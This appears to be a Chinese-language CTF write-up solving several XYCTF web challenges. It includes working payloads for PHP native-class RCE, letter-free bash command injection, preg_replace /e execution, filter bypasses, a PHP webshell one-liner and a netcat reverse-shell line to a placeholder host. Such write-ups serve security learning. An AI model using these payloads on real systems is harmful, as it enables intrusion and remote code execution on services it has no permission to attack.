ezMake 扫了一下目录发现有flag文件,下载下来就是flag,不过好像这不是预期解
传入一个1之后有回显
分析一下内容
这里PATH变量被设置为空,这段 Makefile 的逻辑检查了 PATH 是否未定义,如果未定义则设为空,如果已定义也重设为空。因为**make
命令本身也依赖 PATH 查找**,当PATH被设置为空之后,
但是测试之后发现Bash内置命令是可以执行的
1 2 3 4 5 ubuntu@VM-16-12-ubuntu:/$ PATH= ubuntu@VM-16-12-ubuntu:/$ echo "1" 1 ubuntu@VM-16-12-ubuntu:/$ pwd /
尝试用echo写木马但是遇到waf了
1 echo "<?php eval($_POST['cmd']); ?>" > 1.php
用base64和hex绕过也不行
1 echo "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=" | base64 -d > 1.php
试一下用Bash里的.去执行flag文件就行
当然还有其他的命令
解释一下payload
$(...)
命令替换 ,先执行 ...
里的命令,返回其输出(STDOUT)
shell cat flag
尝试执行 shell
命令,并传 cat flag
作为参数
echo ...
打印命令替换后的结果
ez?Make 一样的页面,但是扫目录里是看不到flag了,有个Makefile路径,把Makefile文件下下来看看
1 2 3 4 SHELL := /bin/bash .PHONY: FLAG FLAG: /flag 1
这里指定了在执行shell命令时使用/bin/bash而不是默认的/bin/sh,这里和上面的题目不一样,这里不仅限于bash内置命令
但是这里禁用了很多命令,测试后发现cd是可以用的
因为已知flag在根目录,所以尝试直接读取flag,但是这里很多读取文件的命令都被禁用了,不过more可以用,然后就是绕过flag的关键字过滤了,也过滤了*
和?
看看用[]
去匹配,一开始是用[a-z]
的,但是发现被过滤了,不过好在用[0-z]能匹配出来
1 cd .. && cd .. && cd ..&&more [0-z][0-z][0-z][0-z]
或者也可以cd到bin目录下执行bash命令
1 2 cd .. && cd .. && cd ..&& cd bin && echo "bHM=" | b[0-z]se64 -d | b[0-z]sh 执行ls命令
然后我们cat /flag就可以了
1 cd .. && cd .. && cd ..&& cd bin && echo "Y2F0IC9mbGFn" | b[0-z]se64 -d | b[0-z]sh
ezhttp 一个登录页面,有账号有密码登录框
扫i目录扫出很多东西
1 2 3 4 5 6 7 [19:01:03] Scanning: [19:01:34] 200 - 0B - /flag.php [19:01:36] 200 - 1KB - /index.php [19:01:37] 200 - 1KB - /index.php/login/ [19:01:48] 200 - 35B - /robots.txt [19:01:49] 403 - 279B - /server-status/ [19:01:49] 403 - 279B - /server-status
访问/robots.txt有一个/l0g1n.txt
1 2 username: XYCTF password: @JOILha!wuigqi123$
拿到账密了,登录有显示
1 2 登录成功! 不是 yuanshen.com 来的我不要
伪造请求头,抓包处理吧,这里直接放修改的地方了
1 2 3 4 5 Referer: yuanshen.com // 从yuanshen.com来的 User-Agent: XYCTF //用XYCTF浏览器 Client-IP: 127.0.0.1 // 本地用户伪造,不用xff(X-Forward-For) Via: ymzx.qq.com //从ymzx.qq.com代理 Cookie: XYCTF //想吃点XYCTF的小饼干
ezClass 1 2 3 4 5 6 7 8 <?php highlight_file (__FILE__ );$a =$_GET ['a' ];$aa =$_GET ['aa' ];$b =$_GET ['b' ];$bb =$_GET ['bb' ];$c =$_GET ['c' ];( (new $a ($aa ) )->$c () )( (new $b ($bb ) )->$c () );
((new $a($aa))->$c())((new $b($bb))->$c());
:动态创建两个对象,并调用它们的方法,然后将第二个对象方法的返回值作为参数传递给第一个对象方法。第一个的返回值需要是一个函数,而第二个的返回值是作为参数传递给第一个返回的函数。
这里第一个想到的是利用原生类中的方法去写马
#Error内置类实现RCE 可以用Error内置类去打,其中Error::getMessage方法可以返回Error类实例化时接受的字符串
1 2 3 4 5 6 7 8 9 10 <?php $a = new Error ("wanth3f1ag" );echo $a ->getMessage ();echo "\n" ;$b = ((new Error ("123456" ))->getMessage ());echo $b ;
所以基本思路就是创建两个error类分别给system和cat /flag两个参数,再用getMessage方法把输进去的参数当作字符串返回
1 2 3 4 5 GET:?a=Error&aa=system&c=getMessage&b=Error&bb=ls / 等价于 ((new Error('system'))->getMessage())((new $Error('ls /'))->getMessage()); 等价于 system('ls /')
#SplFileObject内置类+data伪协议 也用SplFileObject内置类去打,我们先看看SplFileObjectp类中有什么内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 class SplFileObject extends SplFileInfo implements RecursiveIterator , SeekableIterator {public const int DROP_NEW_LINE;public const int READ_AHEAD;public const int SKIP_EMPTY;public const int READ_CSV;public __construct ( string $filename , string $mode = "r" , bool $useIncludePath = false , ?resource $context = null ) public current (): string |array |false public eof (): bool public fflush (): bool public fgetc (): string |false public fgetcsv (string $separator = "," , string $enclosure = "\"" , string $escape = "\\" ): array |false public fgets (): string public fgetss (string $allowable_tags = ?): string public flock (int $operation , int &$wouldBlock = null ): bool public fpassthru (): int public fputcsv ( array $fields , string $separator = "," , string $enclosure = "\"" , string $escape = "\\" , string $eol = "\n" ): int |false public fread (int $length ): string |false public fscanf (string $format , mixed &...$vars ): array |int |null public fseek (int $offset , int $whence = SEEK_SET): int public fstat (): array public ftell (): int |false public ftruncate (int $size ): bool public fwrite (string $data , int $length = 0 ): int |false public getChildren (): null public getCsvControl (): array public getFlags (): int public getMaxLineLen (): int public hasChildren (): false public key (): int public next (): void public rewind (): void public seek (int $line ): void public setCsvControl (string $separator = "," , string $enclosure = "\"" , string $escape = "\\" ): void public setFlags (int $flags ): void public setMaxLineLen (int $maxLength ): void public __toString (): string public valid (): bool public SplFileInfo ::getATime (): int |false public SplFileInfo ::getBasename (string $suffix = "" ): string public SplFileInfo ::getCTime (): int |false public SplFileInfo ::getExtension (): string public SplFileInfo ::getFileInfo (?string $class = null ): SplFileInfo public SplFileInfo ::getFilename (): string public SplFileInfo ::getGroup (): int |false public SplFileInfo ::getInode (): int |false public SplFileInfo ::getLinkTarget (): string |false public SplFileInfo ::getMTime (): int |false public SplFileInfo ::getOwner (): int |false public SplFileInfo ::getPath (): string public SplFileInfo ::getPathInfo (?string $class = null ): ?SplFileInfo public SplFileInfo ::getPathname (): string public SplFileInfo ::getPerms (): int |false public SplFileInfo ::getRealPath (): string |false public SplFileInfo ::getSize (): int |false public SplFileInfo ::getType (): string |false public SplFileInfo ::isDir (): bool public SplFileInfo ::isExecutable (): bool public SplFileInfo ::isFile (): bool public SplFileInfo ::isLink (): bool public SplFileInfo ::isReadable (): bool public SplFileInfo ::isWritable (): bool public SplFileInfo ::openFile (string $mode = "r" , bool $useIncludePath = false , ?resource $context = null ): SplFileObject public SplFileInfo ::setFileClass (string $class = SplFileObject ::class ): void public SplFileInfo ::setInfoClass (string $class = SplFileInfo ::class ): void public SplFileInfo ::__toString (): string }
由于这里$c是调用的方法,在最后一行中两边是一致的,但是跟Error中一样的,这里也有一个__toString
方法
1 SplFileObject::__toString —以字符串形式返回当前行
在本地测试一下
1 2 3 4 5 6 7 8 9 root@VM-16-12-ubuntu:/var/www/html# cat test.php <?php phpinfo(); ?> root@VM-16-12-ubuntu:/var/www/html# vim 1.php root@VM-16-12-ubuntu:/var/www/html# cat 1.php <?php $a = new SplFileObject("test.php"); echo $a->__toString(); root@VM-16-12-ubuntu:/var/www/html# php 1.php <?php phpinfo(); ?>
但是这里因为是两个部分的调用返回值进行配合,所以不能直接读取flag文件,也是需要写命令执行语句
这里需要配合data伪协议去输出,data伪协议可以动态生成文件而无需真实文件。通过data伪协议去包装数据,使得我们可以输出 data://
包装的数据
1 2 3 4 <?php $a = new SplFileObject ("data://text/plain,system" );echo $a ->__toString ();
所以我们最终的payload就是
1 ?a=SplFileObject&aa=data://text/plain,system&c=__toString&b=SplFileObject&bb=data://text/plain,cat%20/flag
ezRCE #无字母RCE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );function waf ($cmd ) { $white_list = ['0' ,'1' ,'2' ,'3' ,'4' ,'5' ,'6' ,'7' ,'8' ,'9' ,'\\' ,'\'' ,'$' ,'<' ]; $cmd_char = str_split ($cmd ); foreach ($cmd_char as $char ){ if (!in_array ($char , $white_list )){ die ("really ez?" ); } } return $cmd ; } $cmd =waf ($_GET ["cmd" ]);system ($cmd );really ez?
这里需要我们传入的cmd符合白名单中的字符,否则就会执行die语句
无字母RCE
需要配合$0环境变量去使用
\$0
是 Shell 环境中的一个特殊变量 ,代表 当前 Shell 或脚本的名称 。
1 2 root@VM-16-12-ubuntu:/var/www/html# echo $0 bash
<<<
→ Here String (输入字符串作为标准输入)
1 2 root@VM-16-12-ubuntu:/var/www/html# $0<<<'id' uid=0(root) gid=0(root) groups=0(root)
这里可以看到id命令成功被执行
payload
1 2 3 ?cmd=$0<<<$%27\154\163\040\057%27 等价于 echo 'ls' | /bin/bash
推荐文章:https://www.freebuf.com/articles/system/361101.html
warm up 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php include 'next.php' ;highlight_file (__FILE__ );$XYCTF = "Warm up" ;extract ($_GET );if (isset ($_GET ['val1' ]) && isset ($_GET ['val2' ]) && $_GET ['val1' ] != $_GET ['val2' ] && md5 ($_GET ['val1' ]) == md5 ($_GET ['val2' ])) { echo "ez" . "<br>" ; } else { die ("什么情况,这么基础的md5做不来" ); } if (isset ($md5 ) && $md5 == md5 ($md5 )) { echo "ezez" . "<br>" ; } else { die ("什么情况,这么基础的md5做不来" ); } if ($XY == $XYCTF ) { if ($XY != "XYCTF_550102591" && md5 ($XY ) == md5 ("XYCTF_550102591" )) { echo $level2 ; } else { die ("什么情况,这么基础的md5做不来" ); } } else { die ("学这么久,传参不会传?" ); } 什么情况,这么基础的md5做不来
用extract($_GET);代码可以实现变量覆盖,直接GET传入变量的值就行
先看第一层,就是简单的md5弱比较,用数组绕过或者强碰撞都行
再看第二层,需要变量在md5后的值弱等于初始值,也就是需要找个以0e开头的并且该值md5加密后也是0e开头
1 ?val1[]=1&val2[]=2&md5=0e215962017
然后看第三层,需要$XY和$XYCTF的值符合弱相等,然后就是里面的md5比较,先算一下XYCTF_550102591
在md5加密后的值
1 2 3 4 <?php $a = "XYCTF_550102591" ;echo md5 ($a );
0e开头的,那还是强碰撞,但是想到这里能进行变量覆盖,那我们可以对$XYCTF的值进行修改,所以随便传入一个强碰撞相等的值就行
1 ?val1[]=1&val2[]=2&md5=0e215962017&XY=QLTHNDT&XYCTF=QLTHNDT
访问一下
1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__FILE__ );if (isset ($_POST ['a' ]) && !preg_match ('/[0-9]/' , $_POST ['a' ]) && intval ($_POST ['a' ])) { echo "操作你O.o" ; echo preg_replace ($_GET ['a' ],$_GET ['b' ],$_GET ['c' ]); } else { die ("有点汗流浃背" ); } 有点汗流浃背
这里先需要满足第一层才能进行操作,既要a为数字也要a不包含数字,preg_match() 只能处理字符串,遇到数组时会返回 false,!false就是true,满足条件
第二层就是关于preg_replace在/e模式下的rce了,这里三个参数都可控,就简单的多
1 ?a=/a/e&c=a&b=system('ls /')
ezmd5 需要上传两个图片,根据题目说的md5,估计是需要上传两个不一样的图片但是md5一样的
直接用md5碰撞生成工具(fastcoll)生成就行,也可以直接去网上找现成的图片
这两张图片具有相同的 md5 哈希值:253dd04e87492e4fc3471de5e776bc3d
牢牢记住,逝者为大 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );function Kobe ($cmd ) { if (strlen ($cmd ) > 13 ) { die ("see you again~" ); } if (preg_match ("/echo|exec|eval|system|fputs|\.|\/|\\|/i" , $cmd )) { die ("肘死你" ); } foreach ($_GET as $val_name => $val_val ) { if (preg_match ("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i" , $val_val )) { return "what can i say" ; } } return $cmd ; } $cmd = Kobe ($_GET ['cmd' ]);echo "#man," . $cmd . ",manba out" ;echo "<br>" ;eval ("#man," . $cmd . ",mamba out" );
这里限制了很多
cmd的字符不能超过13个
过滤了很多命令函数和操作符
另外在eval函数中有#man注释,我们需要避开这个坑,避免我们传入的代码被注释掉,然后在后面还有多余的数据
首先先试着能让我们的eval能执行
过注释符#
1 2 3 4 <?php $a = "\n echo '1';#" ;eval ("#" . $a ."2323" );
用换行符可以逃逸注释,但是这里过滤了\
根据URL编码规则,我们用%0a去代替\n
,本地测试一下
1 2 3 4 <?php highlight_file (__FILE__ );$a = $_GET ['a' ];eval ("#" . $a ."2323" );
传入a
注意# 是 URL 的锚点标识符,这里需要对#进行编码成%23,否则会被认为是URL本身的分隔符,
根据**\n
和 \r
在 HTTP 请求中的特殊作用**,如果 \n
不经编码直接传入 ?a=\n123
,服务器或浏览器可能会错误地认为 \n
是 HTTP 请求结束符 ,导致参数被截断。所以我们的\n
也是需要编码成URL编码才能起作用的
编码之后PHP后对参数a进行解码
绕过这两个的问题解决了,接下来就是如何绕过过滤进行rce了
如果上面两个是必须的,那么此时我们已经消耗掉了三个字符(注意,这里不是七个字符,因为后端PHP会进行解码,所以最后是三个字符),那么只能传入最多10个字符
这么多函数禁用了,这时候可以用反引号内联执行,在反引号中可以放入系统命令,可以用带参数输入的方式
刚好10个字符,然后可以传入1,但是这里对get的参数都有过滤,还不能换成post,限制的死死的,是要我们去绕过
不能写文件(>被过滤),不能操作文件(mv,cp被过滤),也不能看目录(ls,被过滤),还无法用通配符去匹配文件(?,*)被过滤
但是这些命令可以用单双引号去绕过,那么方法就很多了(注意这里是无回显的)
方法1:cp复制flag 1 ?cmd=%0a`$_GET[1]`;%23&1=c''p /[@-z][@-z][@-z]g 1.txt
虽然不能用?
和*
通配符,但是可以用[]
去匹配单个字符,这里执行cp命令后访问1.txt就可以拿到flag了
方法2:反弹shell 无回显的RCE,直接反弹shell
1 nc [host] [port] -e /bi''n/sh
方法3:数字编码绕过 1 2 3 ?cmd=%0a`$_GET[1]`;%23&1=$'\143\160' $'\57\146\154\141\147' 1.txt //cp /flag的8进制 然后访问1.txt就行
根据Bash 的 $'...'
ANSI-C Quoting 机制 ,$'...'
会在 Shell 解析阶段 (执行命令前)把 \xxx
(八进制)转换成 对应的 ASCII 字符 。所有 $'\xxx'
拼接后 ,最终会合并为 可执行的 Shell 命令
εZ?¿м@Kε¿? hint:Μακεϝ1LE>1s<S0<ϜxxΚ1ηG_ξ2!@<>#>%%#!$*&^(!
才发现是和前面两个题一样的makefile
1 2 3 [18:09:36] Scanning: [18:10:33] 200 - 38B - /hint.php [18:10:35] 200 - 2KB - /index.html
访问/hint.php
1 /^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/
估计是正则匹配的表达式
先输出可用字符
1 2 3 4 5 6 7 8 9 <?php for ($i =32 ;$i <127 ;$i ++){ if (!preg_match ("/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/" ,chr ($i ))){ echo chr ($i )." " ; } } ?>
一开始以为是有这么多字符可以用,后面才发现这个表达式是需要匹配的,而并非不能匹配的,也就是白名单
1 2 3 4 5 6 7 8 9 10 <?php for ($i =32 ;$i <127 ;$i ++){ if (preg_match ("/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/" ,chr ($i ))){ echo chr ($i )." " ; } } ?>
学习一下关于Makefile中的$@, $^, $< , $?, $%, $+, $*
参考文章:Makefile中的$@, $^, $< , $?, $%, $+, $*
1 2 3 4 5 6 7 8 9 $@ 表示目标文件 $^ 表示所有的依赖文件 $< 表示第一个依赖文件 $? 表示比目标还要新的依赖文件列表 $% 仅当目标是函数库文件中,表示规则中的目标成员名。例如,如果一个目标是“foo.a(bar.o)”,那么,“$%”就是“bar.o”,“$@”就是“foo.a”。如果目标不是函数库文件(Unix下是[.a],Windows下是[.lib]),那么,其值为空。 $+ 这个变量很像“$^”,也是所有依赖目标的集合。只是它不去除重复的依赖目标。 $* 这个变量表示目标模式中“%”及其之前的部分。如果目标是“dir/a.foo.b”,并且目标的模式是“a.%.b”,那么,“$*”的值就是“dir/a.foo”。这个变量对于构造有关联的文件名是比较有较。如果目标中没有模式的定义,那么“$*”也就不能被推导出,但是,如果目标文件的后缀是make所识别的,那么“$*”就是除了后缀的那一部分。例如:如果目标是“foo.c”,因为“.c”是make所能识别的后缀名,所以,“$*”的值就是“foo”。这个特性是GNU make的,很有可能不兼容于其它版本的make,所以,你应该尽量避免使用“$*”,除非是在隐含规则或是静态模式中。如果目标中的后缀是make所不能识别的,那么“$*”就是空值。
传入$<
,有回显/flag,随后我们要读取,要用 < 重定向符读取,用于从文件中读取内容
我们测试一下输入 <$< 回显了</flag
随后我们要读取到一个地方,也没有什么地方能读取,只能读取到变量里那么我们就能构造出
payload
但是还是读取不了,回显
1 make: Nothing to be done for 'FLAG'.
这个时候我们就要用到转义符号 $ ,这是因为在 Makefile 中, $ 符号是特殊字符,需要转义才
能正常使用,所以就得到了最终的payload
有点神奇。。全程跟着wp做的,但还是得理解一下
从内到外去理解一下
首先需要理解的是重定向符
重定向符<
在 Shell(如 Bash)中,<
是一个 输入重定向(Input Redirection)符号 ,用于 将文件内容作为命令的输入 。
语法
那么<$< 回显了</flag,此时根据这个特点,我们可以把flag文件的内容当成是命令的输入,然后我们需要解决如何输出这个命令或者是读取这个命令
$(<$<) $( <$< )
→ 读取输入并执行命令
在 Bash 中,$( command )
的语法是 命令替换(Command Substitution) ,它的作用是:
执行 command
并捕获其标准输出(stdout) 。
将命令的输出结果替换到当前位置 。
例如我们本地测试一下
1 2 3 4 root@VM-16-12-ubuntu:/var/www/html# cat 1.php 123 root@VM-16-12-ubuntu:/var/www/html# $(<1.php) 123: command not found
最终payload $$(<$<)
:其实和上面的一样,只不过
在 Makefile 中:
单个 $
→ 被 Make 解析(用于变量或自动化变量,如(CC)‘、‘(CC )‘、‘@`)。
$$
→ 转义为 单个 $
并传递给 Shell(避免 Make 解析)。